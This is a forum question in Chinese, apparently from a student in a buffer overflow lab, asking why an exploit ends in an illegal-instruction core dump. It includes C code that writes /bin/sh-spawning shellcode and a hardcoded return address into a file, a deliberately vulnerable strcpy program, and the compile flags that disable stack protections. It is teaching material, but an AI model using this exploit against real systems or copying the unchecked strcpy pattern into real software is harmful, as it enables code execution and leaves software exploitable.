缓冲区溢出实验室中的核心转储

时间:2019-03-25 05:04:11

标签: c ubuntu gdb coredump

我们有一个有关缓冲区溢出的实验室。 使用“ exploit.c”将shellcode写入名为“ badfile”的文件。 然后执行“堆栈”以从badfile中读取shellcode,但是当我输入./stack时,发生illegal instruction (core dumped)。 有人可以帮助我找到原因吗? enter image description here

/* exploit.c  */

/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdq                            */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer+0x24,"\x0b\xcf\xff\xff");
    strcpy(buffer+0x64,shellcode);
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

/* stack.c*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[24];

    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

然后我使用gcc -m32 -o stack -z execstack -fno-stack-protector stack.c来编译堆栈。

我使用gdb调试堆栈,在bof()之后查找,下一个函数是shellcode的地址。

0 个答案:

没有答案